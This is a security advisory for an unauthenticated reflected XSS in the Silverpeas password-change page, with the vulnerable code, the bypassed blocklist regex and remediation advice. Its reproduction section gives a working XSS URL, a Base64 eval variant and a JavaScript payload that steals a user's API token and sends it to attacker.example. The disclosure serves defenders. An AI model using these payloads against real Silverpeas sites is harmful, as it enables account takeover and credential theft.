CVE-2026-53695: Unauthenticated Reflected XSS in Silverpeas

Summary

defaultChangePassword.jsp in Silverpeas through 6.4.6 reflects the Login and DomainId request parameters into HTML attribute values without context-appropriate output encoding. Because the page is reachable without authentication, a remote attacker can craft a link that executes JavaScript in a victim’s Silverpeas origin.

Field	Details
CVE	CVE-2026-53695
Weakness	CWE-79: Cross-site Scripting
Affected versions	Through 6.4.6
Fixed version	6.4.7
Required access	None; victim interaction required
CVSS 3.1	8.2 High; `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
CVSS 4.0	6.2 Medium; `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N`

Technical details

The password-change page writes both request parameters directly into hidden input values:

<input type="hidden" name="login"    value="${param.Login}"/>
<input type="hidden" name="domainId" value="${param.DomainId}"/>

Neither value is encoded for an HTML attribute context. A double quote in either parameter closes the value attribute, allowing the rest of the input to be parsed as markup. An XSS filter applies to the page, but the relevant rule only rejects script and iframe elements:

XSS_PATTERNS.add(Pattern.compile("(?i)<[\\s/]*(script|iframe)"));

Event handlers on other elements, including svg and img, pass this blocklist. Output encoding is therefore required even with the filter enabled.

Reproduction

No Silverpeas account is required. Open the following URL, replacing <target> with the test instance:

http://<target>/silverpeas/defaultChangePassword.jsp?DomainId=0&Login="><svg/onload=alert(document.domain)>

The resulting input contains the injected element, which runs as soon as the page is rendered:

<input type="hidden" name="login" value="">
<svg onload="alert(document.domain)"></svg>

The same attribute injection is present in DomainId.

JavaScript executing after injection through the Login parameter — XSS through the Login parameter

JavaScript executing after injection through the DomainId parameter — XSS through the DomainId parameter

Silverpeas response containing injected SVG onload elements — The injected SVG element in the server response

2. Extract an API token from an authenticated session

The vulnerable page itself is public. If the victim is already signed in, injected JavaScript runs with access to the victim’s Silverpeas origin. The profile page exposes the user’s API token in the DOM, so the payload can request that page, extract the token, and send it to an attacker-controlled endpoint:

fetch("/silverpeas/RMyProfil/jsp/MyInfos")
  .then((response) => response.text())
  .then((html) => {
    const profile = new DOMParser().parseFromString(html, "text/html");
    const token = profile
      .getElementById("token")
      .querySelectorAll("td")[1]
      .textContent.trim();

    navigator.sendBeacon("https://attacker.example/exfil?t=" + token);
  });

The script can be Base64-encoded to make it easier to place inside the query string:

http://<target>/silverpeas/defaultChangePassword.jsp?DomainId=0&Login="><svg/onload=eval(atob(`BASE64_PAYLOAD`))>

The captured token can then be verified against the profile API:

GET /silverpeas/services/profile/users/token HTTP/1.1
Host: <target>
Authorization: Bearer <stolen-api-token>

API-token extraction from an authenticated administrator session

Impact

The attacker does not need a Silverpeas account. JavaScript executes in the application origin after a victim opens the crafted link. For an authenticated administrator, the exposed API token allows the attacker to authenticate to the API and perform administrative actions, including creating or taking over accounts.

Remediation

Upgrade to Silverpeas 6.4.7 or later. The direct fix is to encode Login and DomainId for an HTML attribute context before rendering them. Expanding the XSS blocklist can provide additional filtering, but it does not replace contextual output encoding.

Overview

Silverpeas

CVE-2026-53695: Unauthenticated Reflected XSS in Silverpeas

Summary

Technical details

Reproduction

2. Extract an API token from an authenticated session

Impact

Remediation

References

​Summary

​Technical details

​Reproduction

​1. Inject markup through Login

​2. Extract an API token from an authenticated session

​Impact

​Remediation

​References

Summary

Technical details

Reproduction

1. Inject markup through `Login`

2. Extract an API token from an authenticated session

Impact

Remediation

References